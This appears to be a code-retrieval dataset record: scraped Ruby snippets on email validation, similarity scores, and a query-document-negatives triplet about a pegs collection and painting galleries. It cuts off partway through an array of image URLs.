"def email_regex\n /^[a-zA-Z][\\w\\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\\w\\.-]*[a-zA-Z0-9]\\.[a-zA-Z][a-zA-Z\\.]*[a-zA-Z]$/\n end",
"def valid_email\n email_regex = !!(cas_email =~ /^[\\w+\\-.]+@[a-z\\d\\-]+[\\.[a-z\\d\\-]+]*\\.edu/i)\n errors.add :cas_email, I18n.t('users.valid_email') unless email_regex\n end",
"def is_valid_email? email\n\temail =~ VALID_EMAIL_REGEX\nend",
"def is_email\n\t\treg_ex_pattern = /\\A([\\w+\\-].?)+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/i\n\t\tunless reg_ex_pattern.match?(email)\n\t\t\terrors.add(:email, \"must be a valid email\")\n\t\tend\n\tend",
"def is_valid?(address)\n address.match?(EMAIL_REGEX)\n end",
"def email_is_valid?(email)\n email =~ /[^@ \\t\\n\\r]+@[a-zA-Z0-9\\.-]{3,}$/\n end",
"def check_email\n self.email_address=~/^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i if email_address\n end",
"def valid_email?(email)\n email.match(/^\\w+@\\w+\\.com$/)\nend",
"def validate_email\n return error_with_identifier('invalid_api_params',\n 'um_u_c_ve_1',\n ['invalid_email']\n ) unless Util::CommonValidateAndSanitize.is_valid_email?(@email)\n\n success\n end",
"def fValidateEmail (email)\n @users.validateEmail(email)\n end",
"def is_valid_email? email\n /^[a-zA-Z]+\\.[1-9]\\d*@(buckeyemail\\.)?osu\\.edu$/.match? email\nend",
"def format_email\n email.downcase!.strip!\n end",
"def valid_email(email)\n return true if email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/\n false\nend",
"def validate_email\n return if self.email.blank?\n errors.add(:email, :not_a_valid_email) if !Valid.email?(self.email)\n end",
"def is_email_valid?(email)\n if email.include?(\".com\") && email.include?(\"@\")\n return true \n end\nend",
"def validate_and_sanitize\n\n r = validate\n return r unless r.success?\n\n @email = @email.downcase.strip\n\n unless Util::CommonValidator.is_valid_email?(@email)\n return validation_error(\n 'am_w_e_1',\n 'invalid_api_params',\n ['invalid_email'],\n GlobalConstant::ErrorAction.default\n )\n end\n\n success\n\n end",
"def email_well_formed?\n # thank you devise\n email && email =~ /\\A[^@]+@([^@\\.]+\\.)+[^@\\.]+\\z/\n end",
"def is_valid_email(str)\n# contains exactly one @ symbol\n words = str.split(\"@\")\n if words.length != 2\n return false\n end\n# contains only lowercase letters before the @\n if words[0] != words[0].downcase\n return false\n end\n# contains only alphabetic letters before the @\n if checkForNumbers(words[0])\n return false\n end\n# contains exactly one . after the @\n halves = words[1].split(\".\")\n if halves.length != 2\n return false\n end\n return true\nend",
"def valid_email_id?(email_id)\n is_valid_data_with_format?(email_id, /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,4}$/, \"Email\")\nend",
"def validate_email(email)\r\n email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-.]+\\.[a-z]+\\z/i ?\r\n (return true) : (return false)\r\nend",
"def validates_email(*args)\n options = args.last.kind_of?(Hash) ? args.pop : {}\n \n validates_each args do |record, attr, value|\n address = EmailVeracity::Address.new(value)\n # domain lookup errors should be ignored or logged\n unless address.valid?\n record.errors.add(attr, options[:message]||address.errors.to_s) \n end\n end\n end",
"def test_is_email\n assert(StringChecker.is_email?(\"happy@email.com\"))\n assert(StringChecker.is_email?(\"happy.emu@email.com\"))\n assert(!StringChecker.is_email?(\"@email.com\"))\n assert(!StringChecker.is_email?(\"happy@com\"))\n assert(!StringChecker.is_email?(\"happy-.,.@email.com\"))\n assert(StringChecker.is_email?(\"happy@student.email.com\"))\n assert(!StringChecker.is_email?(\"\"))\n end",
"def is_valid_email(str)\n if is_onlyone(str) == 1 && is_onlyonedot(str) == 1 && is_downcase(str) == true\n return true \n else \n return false \n end\nend",
"def is_valid_email(str)\n if is_onlyone(str) == 1 && is_onlyonedot(str) == 1 && is_downcase(str) == true\n return true \n else \n return false \n end\nend",
"def format_email!\n @email.gsub!(/@/, \"%40\")\n end",
"def is_valid_email(str)\n parts = str.split(\"@\")\n \n if parts.length != 2\n return false\n end\n \n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n \n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n \n if second.split('.').length == 2\n return true\n else\n return false\n end\n end",
"def valid_email?(email)\n email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i\n end",
"def validate_email_pattern\n if (!defined?(email) || email.blank? || !email.index('@'))\n errors.add(:email, ' is required and should end in @schools.nyc.gov or another participating school address')\n return false\n end\n email.downcase.strip\n\n allowed_email_patterns = AllowedUserEmailMasks.where(active:true).pluck(:email_pattern)\n\n index = email.index('@')\n if (index && (allowed_email_patterns.include? email[index..]))\n return true\n else\n errors.add(:email, 'should end in @schools.nyc.gov or another participating school address')\n return false\n end\n end",
"def valid_email?(email)\n (email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i)\n end",
"def validates_email(*attr_names)\n configuration = {\n :with => RE_EMAIL,\n :message => I18n.translate('activerecord.errors.messages')[:email_invalid]\n }\n configuration.update(attr_names.pop) if attr_names.last.is_a?(Hash)\n validates_format_of attr_names, configuration\n end",
"def valid(email)\n valid_rfc822(email) && valid_domain(email)\n end",
"def validate_email(email)\n domain = email.split('@').last\n return unless sign_up_params[:email].end_with?('.ac.uk')\n return unless Institution.exists?(['email ILIKE ?', \"%#{domain}%\"])\n true\n end",
"def is_valid_email(str)\n str_arr = str.split('@')\n return false if str_arr.length != 2\n \n first = str_arr[0]\n second = str_arr[1]\n if !(first[/[a-zA-Z]+/] == first)\n return false \n elsif second.split('.').length == 2\n return true\n else\n return false \n end\n\nend",
"def valid_email\n addr = Mail::Address.new(email)\n throw StandardError if [addr.local, addr.domain].include?(nil)\n rescue\n errors.add(:email, \"must be a valid email address\")\n end",
"def mask_email_valid?\n unless self.mask_email =~ /\\A[a-z0-9._%-]+@#{Multiplex::Application::Domain}\\z/\n errors.add(:mask_email_name, \"must be valid, containing only letters, numbers, and . _ % or -.\")\n end\n end",
"def is_valid_email(str)\n return false if str.split(\"@\").length != 2 || str.split(\"@\")[1].split(\".\").length !=2\n username = str.split(\"@\")[0]\n domain = str.split(\"@\")[1].split(\".\")[0]\n dns = str.split(\"@\")[1].split(\".\")[1]\n username.each_char{|char| return false if char.ord < \"a\".ord}\n domain.each_char{|char| return false if char.ord < \"a\".ord}\n dns.each_char{|char| return false if char.ord < \"a\".ord}\n \n return true\n end",
"def is_valid_email(str)\n # check 1: include? 1 @\n # check 2: include? 1 .\n # check 3: split into an array to check(if) downcase, . after @\n\nend",
"def is_valid_email(str)\n str_arr=str.split(\"@\")\n str_arr1=str.split(\".\")\n if str_arr.length==2 && str_arr1.length==2 and str_arr[1]==str_arr[1].downcase && str_arr[1].include?(\"1234567890\")==false\n return true\n else\n return false\n end\n \n \n\nend",
"def is_valid_email(str)\n\n lowerLetters = \"abcdefghijklmnopqrstuvwxyz\"\n sections = str.split(\"@\")\n \n# check if more than 2 @'s or no @'s\n if sections.length != 2\n return false\n end\n \n# check if left is letters\n sections[0].each_char do |letter|\n if !lowerLetters.include?(letter)\n \treturn false\n end\n end\n \n \n if sections[1].split(\".\").length == 2\n return true\n else \n return false\n end\n \nend",
"def valid_email_address?(addr)\n addr =~ /^([\\w\\d]+([\\w\\d\\!\\#\\$\\%\\&\\*\\+\\-\\/\\=\\?\\^\\`\\{\\|\\}\\~\\.]*[\\w\\d]+)*@([\\w\\d]+\\.)+[\\w]{2,})$/\n end",
"def is_valid_email(str)\n if is_onlyone(str) == 1 && is_onlyonedot(str) == 1\n return true\n else \n return false \n end\nend",
"def is_valid_email(str)\n parts = str.split(\"@\")\n if parts.length != 2\n return false\n end\n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n if second.split(\".\").length == 2\n return true\n else\n return false\n end\n \n \nend",
"def is_valid_contact_email?(email)\n email.present? && email.strip =~ VALID_EMAIL_REGEX\n end",
"def is_email?(obj)\n\t\tif obj\n\t\t\tif obj =~ URI::MailTo::EMAIL_REGEXP\n\t\t\t\treturn true\n\t\t\tend\n\t\tend \n\t\treturn false\n\tend",
"def is_valid_email(str)\r\n str.count(\"@\") == 1 ? nil : (return false)\r\n at = at_index(str)\r\n check_dot(str, at) ? nil : (return false)\r\n check_numbers(str, at) ? (return true) : (return false)\r\nend",
"def value_email_valid?\n if value.match(/\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\Z/i)\n return true\n end\n @errors_data << 'validate_invalid_email'\n return false\n end",
"def is_valid_email(str)\n parts = str.split(\"@\")\n\n if parts.length != 2\n return false\n end\n\n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n\n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n\n if second.split('.').length == 2\n return true\n else\n return false\n end\nend",
"def valid_email?\n if Rails.env.production?\n unless self.email.match(/(\\.wvu\\.edu)$/)\n errors.add(:email, \"address must be a wvu address @mail.wvu.edu or @mix.wvu.edu\")\n end\n end\n end",
"def isValidEmail?(e)\n\treturn !(e =~ VALID_EMAIL_REGEX).nil?\nend",
"def is_valid_email(str)\r\n at = 0\r\n str.each_char do |char|\r\n if char == '@'\r\n at +=1\r\n end\r\n end\r\n if at != 1\r\n return false\r\n end\r\n if !lower(str[0...str.index('@')])\r\n return false\r\n end\r\n if !containDot(str[(str.index('@') + 1)..-1])\r\n return false\r\n end\r\n return true\r\nend",
"def verify_contact_address\n unless contact_address =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i\n errors.add(:contact_address, \"is not an email address\")\n end\n end",
"def is_valid_email(str)\n parts = str.split(\"@\")\n\n if parts.length != 2\n return false \n end \n \nend",
"def valid_rfc822(email)\n return true unless check_rfc822 == true\n if email =~ rfc822\n true\n else\n errors << \"Does not conform to rfc822\"\n false\n end\n end",
"def is_email?\r\n #MGS- email pattern to match\r\n #MGS- changing beginning ^ and ending $ to \\A and \\z....this fixes a bug where\r\n # line breaks in a string were still passing as valid emails...as long as what\r\n # was entered before the first line break was a valid email. $ only matches\r\n # to the end of the line.\r\n email = Regexp.new(/\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i)\r\n self =~ email\r\n end",
"def validate_email_field(value = nil)\n config(:validate_email_field, value, true)\n end",
"def is_valid_email(str)\n split = str.split('@');\n numbers = '0123456789'\n\n if str.count('@') != 1 # Exit if str has more than one '@''\n return false\n end\n\n split[0].each_char do |c| # Exit if numeric character before the '@'\n if numbers.include?(c)\n return false\n end\n end\n\n is_lowercase = (split[0] == split[0].downcase)\n has_point = split[1].include?('.')\n return is_lowercase && has_point\nend",
"def pattern_is_valid?\n address =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\Z/i\n end",
"def match_email( val )\n\t\tmatch = RFC822_EMAIL_ADDRESS.match( val )\n\t\tself.log.debug \"Validating an email address %p: %p\" %\n\t\t\t[ val, match ]\n\t\treturn match ? match[0] : nil\n\tend",
"def email_domain\n domain = email.split(\"@\").last.downcase\n if !email.blank?\n errors.add(:email, \"Invalid Domain- Please provide valid Grinnell email\") if domain != \"grinnell.edu\"\n end\n end",
"def es_correo_valido? (correoE)\n (correoE =~ /^[A-Za-z0-9](([_\\.\\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\\.\\-]?[a-zA-Z0-9]+)*)\\.([A-Za-z])+$/)==0\n end",
"def is_valid_email(str)\n parts = str.split(\"@\")\n if parts.length < 2\n return false;\n end\n first = parts[0]\n second = parts[1] \n check = \"abcdefghijklmnopqrstuvwxyz\"\n first.each_char do |char|\n if !check.include?(char)\n return false;\n end \n end \n\n if second.split(\".\").length == 2\n return true\n else \n return false;\n end \n \nend",
"def is_valid_email(str)\n parts = str.split(\"@\")\n if parts.length != 2\n return false\n end\n\n first_part = parts[0]\n sec_part = parts[1]\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\n first_part.each_char do |char|\n if !alphabet.include?(char)\n return false\n end\n end\n\n if sec_part.split(\".\").length != 2\n return false\n end\n\n return true\nend",
"def normalize_email(email)\n raise \"E-mail address is blank\" if email.blank?\n raise \"Invalid e-mail address\" unless Authentication.email_regex =~ email\n email.strip\n end",
"def valid_email?\n\t\tunless email.blank?\n\t\t\terr = domain_error(domain_of(email))\n\t\t\terrors.add(:email, err) unless err.blank?\n\t\tend\n\tend",
"def email_domain\n \tdomain = email.split('@').last\n \tif domain != \"ship.edu\"\n \t\terrors.add(:email, \"Must Use Your School Email (@ship.edu)\")\n \tend\n end",
"def vaid_email?\n\t\tif email.match(FORBIDDEN_EMAILS)\n\t\t\terrors.add(:email,\"error! email has been restricted!\")\n\t\tend\t\t\n\tend",
"def validate_email?(email_string)\n #return false if email is blank\n return false if email_string.blank?\n #remove all white space\n to_email = email_string#.gsub(/\\s+/, \"\")\n #check for presence of multiple emails\n if(to_email.count(',')>0 && to_email.count(',')<6)\n result = true\n emails_array = to_email.split(\",\")\n emails_array.each do |email|\n if !valid_email_address?(email.squish)\n result = false\n break\n end\n end\n return result\n else\n return valid_email_address?(to_email)\n end\n end",
"def is_valid_email(str)\n\n count_at = str.count \"@\"\n alpha = (\"a\"..\"z\").to_a.join\n\n if count_at == 1 # only one @\n arr = str.split(\"@\")\n\n # if (arr[0] == arr[0].downcase) # must check absence of digits\n arr[0].each_char do |char| # only lowercase letters in Name part\n if !alpha.include?(char)\n return false\n end\n end\n \n count_dot = str.count \".\" # only one \".\" after \"@\"\n if count_dot == 1\n return true\n end\n end\n\n return false\nend",
"def email_format_valid?\n error_message = EmailValidator.call(email: user_params['username'])\n return true if error_message.nil?\n\n flash[:errors] = {\n email: error_message,\n password: I18n.t('password.errors.required')\n }\n\n false\n end",
"def email_addr_acceptable\n #start\n #@user_name = params[:user_name]\n return true\n end",
"def email_required?; false end",
"def format_email\n return if email.include?('@sfu.ca')\n self.email = \"#{email}@sfu.ca\"\n end",
"def validates_email_not_free\n return if !validate_attributes or email.blank?\n FREE_EMAIL_DOMAINS.each do |domain|\n if email =~ /#{domain}/\n errors.add('email',\"must not be a free account.\")\n end\n end\n end",
"def validate_email(email_id)\n email_pattern = /^([A-Za-z0-9_\\-\\.])+\\@([A-Za-z0-9_\\-\\.])+\\.([A-Za-z]{2,4})$/\n if email_pattern.match(email_id) then\n return true\n else\n return false\n end\n end",
"def email_valid(email)\n if !email.empty?\n self.email = email\n return true\n end\n end",
"def allow_only_htwberlin_accounts\n unless !!email.match(/@htw-berlin.de\\z/)\n self.errors[:email] << 'Muss eine @htw-berlin.de Adresse sein'\n end\n end",
"def determine_email\n return email[-7..-1] == \"uga.edu\" # this should be a constant\n end"
] |
[
"0.85296863",
"0.7799724",
"0.7739717",
"0.772209",
"0.7518012",
"0.75094306",
"0.74322784",
"0.74284035",
"0.7425211",
"0.73561263",
"0.7344548",
"0.7316031",
"0.7310379",
"0.73024666",
"0.72654617",
"0.72611123",
"0.725008",
"0.72492737",
"0.72479534",
"0.724438",
"0.72176415",
"0.7189317",
"0.71892685",
"0.7188653",
"0.7156198",
"0.7113347",
"0.7087802",
"0.7035457",
"0.7024639",
"0.70012057",
"0.6959412",
"0.69533604",
"0.69479513",
"0.6947433",
"0.6915147",
"0.68736917",
"0.685724",
"0.6817866",
"0.6813853",
"0.6808725",
"0.6800855",
"0.67888546",
"0.6785933",
"0.6784756",
"0.67602473",
"0.67549217",
"0.67415893",
"0.67415893",
"0.67414576",
"0.6721988",
"0.67125505",
"0.67064905",
"0.6704006",
"0.6696114",
"0.6692331",
"0.66875905",
"0.6682159",
"0.66772044",
"0.66671383",
"0.665977",
"0.6659062",
"0.6644433",
"0.6642193",
"0.6634566",
"0.6633773",
"0.66227233",
"0.6620875",
"0.6608267",
"0.66010964",
"0.6568827",
"0.6551483",
"0.6549246",
"0.6544195",
"0.6523826",
"0.65181035",
"0.65071076",
"0.65067536",
"0.65035677",
"0.649508",
"0.6494592",
"0.6490915",
"0.64895076",
"0.6482563",
"0.6481428",
"0.6481391",
"0.6479005",
"0.64271885",
"0.64007026",
"0.6390648",
"0.63900226",
"0.6388604",
"0.63803047",
"0.6380196",
"0.63762814",
"0.63484746",
"0.63438064",
"0.634335",
"0.634278",
"0.63287646",
"0.63163596",
"0.63120145"
] |
0.0
|
-1
|
This stuff isn't in the decorator, because it's used for current_user, which isn't decorated.
|
def to_s
username || sanitized_email || 'Anonymous'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_user\n UserDecorator.decorate(super) unless super.nil?\n end",
"def current_user\n UserDecorator.decorate(super) unless super.nil?\n end",
"def current_user\n @_decorated_current_user ||= super&.decorate\n end",
"def current_user\n return @current_user if @current_user\n \n @current_user = super.decorate if super\n @current_user\n end",
"def current_user\n raise NotImplementedError\n end",
"def current_user\n raise NotImplementedError\n end",
"def context; { user: current_user } end",
"def current_user\n # super: don't change anything, i just want the exact same behavior \n # as in the method that we are overriding\n\n # what this line means is that if the user is logged in, super is true,\n # then call super treat everything normal, and ignore right hand side\n # if super == false, call right hand side\n\n # super comes from devise class\n # meanwhile the r.h.s comes from open struct class\n super || guest_user\n end",
"def current_user\n super\n end",
"def current_user\n super\n end",
"def current_user_method=(null) ; end",
"def current_user\n super || guest_user\n # super = dont change anything, I want the same feature of the method we are overriding\n end",
"def user_method\n current_user\n end",
"def current_user\n \tsuper || guest_user\n \t#Super quiere decir que exactamente con los valores \n \t#del metodo original sin cambiar nada\n end",
"def current_cephuser\n raise NotImplementedError\n end",
"def current_user\n nil\n end",
"def current_user_method\n send blog_dashboard_conf.current_user_method\n end",
"def cama_calc_api_current_user\n current_site.users_include_admins.find(doorkeeper_token.resource_owner_id).decorate if doorkeeper_token rescue nil\n end",
"def proxy_user; end",
"def current_user\n ActiveRecord::Base.current_user_proc.call if ActiveRecord::Base.current_user_proc\n end",
"def current_user\n nil\n end",
"def user; end",
"def user; end",
"def parametrizr_user\n current_user\n end",
"def current_user\n\t\tview_context.current_user\n\tend",
"def current_user\r\n super || guest_user\r\n end",
"def acting_user\n current_user\n end",
"def set_current_user\n AuthorizationData.current_user = current_user\n yield\n ensure\n AuthorizationData.current_user = nil\n end",
"def current_user\n # if a user is logged in we just use devise's implementation.\n super || guest_user\n end",
"def current_user\r\n super || guest_user\r\n end",
"def current_user?\n \n end",
"def current_user\n import_user\n end",
"def current_user\n super || guest_user\n end",
"def current_user\n super || guest_user\n end",
"def current_user\n super || guest_user\n end",
"def context\n { current_user: current_user }\n end",
"def current_user\n current_usuario\n end",
"def effective_user\r\n self.current_proxy || self.current_user\r\n end",
"def method_missing(method_name, *args, &block)\n if @current_user.respond_to?(method_name)\n @current_user.send(method_name, *args, &block)\n else\n super\n end\n end",
"def set_current_user\n current_user\n authorize\n end",
"def current_user\n user.user\n end",
"def current_user\n ActiveRecord::Base.current_user_proc.call if ActiveRecord::Base.current_user_proc\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @authenticated_user\n end",
"def current_user\n @authenticated_user\n end",
"def current_user\n # authorization initialization if not run yet\n # (in the case of paper_trial it might not have run)\n authorization_init\n @logged_in_user\n end",
"def current\n respond_with current_user\n end",
"def current_user(user)\n @current_user = user\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def current_user\n @current_user ||= context[:current_user]\n end",
"def current_user\n super\n if @current_user\n return @current_user\n end\n\n authenticate_user!\n @current_user\n end",
"def set_user; end",
"def current_user\n @current_user ||=\n if security.current_user? || !defined? super\n instance_exec(&security.current_user)\n else\n Logger.deprecated 'Wallaby will use `wallaby_user` instead of `current_user` from 6.2.'\n super\n end\n end",
"def require_user\n end",
"def current_user\n @current_user ||= find_logged_in_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def current_user\n @user\n end",
"def get_current_user\n @current_user = current_or_guest_user\n end",
"def enforce_logged_in\n bounce unless current_user\n end",
"def user current_user\n user_aux = current_user.musician? ? band.user : musician.user\n \n return user_aux.decorate\n end",
"def current_or_guest_user\n Rails.logger.warn(\"current_or_guest_user is DEPRECATED - just use current_user\") \n current_user\n end",
"def current_user\n\t\tauthenticated(User)\n\tend",
"def current_user\n\t\t@current_user ||= authorize_request\n\tend",
"def current_user\n @usys_logged_in_user ||= lookup_user\n end",
"def current_user\n #super the main class of devise current_user\n super || guest_user\n end",
"def method_missing(meth, *args, &block)\n return unless _user\n _user.send(meth, *args, &block)\n end",
"def edit_current_user\n end",
"def setup \n @user = current_user\n end",
"def current_user\n User.current\n end",
"def user\n end",
"def current_user()\n nil\n end",
"def current_user\n current_account.user\n end",
"def current_user\n @current_user ||= auth_user\n end",
"def authenticated?; super; end",
"def current_user_required\n\t\t# Have to add \".filter(self)\" when not in before_filter line.\n\t\tCASClient::Frameworks::Rails::Filter.filter(self)\n\tend",
"def current_user\n @current_user ||= authorize_request\n end",
"def current_user\n @current_user ||= authorize_request\n end",
"def _actual_decorator\n @_decorator\n end",
"def current_user_method(&block)\n @current_user = block if block\n @current_user || DEFAULT_CURRENT_USER\n end",
"def current_user\n@current_user ||= (login_from_session || login_from_basic_auth || login_from_cookie) unless @current_user == false\nend",
"def user\n raise NotImplementedError\n end",
"def me\n context[:current_user]\n end",
"def begin_of_association_chain\n self.action_name != 'index' ? current_user : super\n end",
"def current_user\n @current_user ||= nil\n end",
"def call(current_user:)\n _ = current_user # presently ignored\n Success()\n end",
"def current_user\n logger.debug 'ApplicationController:current_user'\n @current_user ||= super\n @current_user && @current_user.is_guest? ? nil : @current_user\n end",
"def call \n user\n end",
"def current_user\n current_customer\n end",
"def user_provider; end",
"def clear_current_user; end",
"def user\n self.class == User ? self : super\n end"
] |
[
"0.753915",
"0.753915",
"0.74921376",
"0.71783066",
"0.71653736",
"0.71653736",
"0.6968321",
"0.6942579",
"0.6813484",
"0.6813484",
"0.6736346",
"0.6665685",
"0.6621751",
"0.6538904",
"0.6482635",
"0.6478495",
"0.64734",
"0.64447355",
"0.6436747",
"0.64123327",
"0.6386318",
"0.6384979",
"0.6384979",
"0.6383361",
"0.638203",
"0.6380975",
"0.63744944",
"0.6366353",
"0.6364598",
"0.63623863",
"0.6345292",
"0.63332814",
"0.6330761",
"0.6330761",
"0.6330761",
"0.6322752",
"0.6311879",
"0.63072723",
"0.629985",
"0.6274407",
"0.6263711",
"0.624321",
"0.6234945",
"0.6234945",
"0.6234945",
"0.6234945",
"0.6212646",
"0.6212646",
"0.6209381",
"0.62055665",
"0.6205166",
"0.6201901",
"0.6187413",
"0.6185904",
"0.6177786",
"0.6175594",
"0.6170681",
"0.61605406",
"0.6159798",
"0.6159798",
"0.6159798",
"0.6159798",
"0.6159798",
"0.6159798",
"0.6159798",
"0.6159798",
"0.615674",
"0.6143301",
"0.61421007",
"0.612929",
"0.61289954",
"0.61277187",
"0.6127577",
"0.6120817",
"0.61153656",
"0.6112252",
"0.61118394",
"0.610853",
"0.6107972",
"0.61048734",
"0.609452",
"0.60882545",
"0.60837513",
"0.6082103",
"0.6080243",
"0.60730696",
"0.60730696",
"0.6070453",
"0.6067148",
"0.6060681",
"0.6060327",
"0.6058953",
"0.60564655",
"0.60492265",
"0.60457426",
"0.6043011",
"0.60335726",
"0.60167915",
"0.6009876",
"0.59900385",
"0.59888273"
] |
0.0
|
-1
|
collection_of_pegs is a multidimensional array
|
def initialize(args)
@collection_of_pegs = args.fetch(:collection_of_pegs)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def galleries\n paintings.map do |p|\n p.gallery\n end\n end",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def galleries\n paintings.map {|painting| painting.gallery}\n end",
"def galleries\n galleries = self.paintings.map do |pi|\n pi.gallery\n end\n galleries.uniq\n end",
"def galleries\n paintings.map {|p| p.gallery}\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def gallaries\n paintings.map{|paint| paint.gallery}\n\n end",
"def all_galleries_featured_in\n my_galleries = self.all_my_paintings.map{|picture| picture.gallery}.uniq\n end",
"def galleries\n galleries = self.paintings.map do |p|\n p.gallery\n end\n galleries.uniq\nend",
"def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end",
"def galleries()\n self.paintings().map { | painting | painting.gallery }.uniq\n end",
"def galleries\n galleries_array = paintings.map {|painting| painting.gallery}\n galleries_array.uniq\n end",
"def all_galleries\n self.all_paintings.map do |painting|\n painting.gallery\n end.uniq\n end",
"def list_galleries\n list_paintings.map do |gallery_painting|\n gallery_painting.gallery\n end\n end",
"def [](index)\n self.pegs[index]\n end",
"def choose_pokemon(pokemon_array)\n pokemons << pokemon_array\n end",
"def subcollections\n respond_to?(:collectionHasSubcollection) ? collectionHasSubcollection : []\n end",
"def photos\n [\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-5.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-2.jpg\", 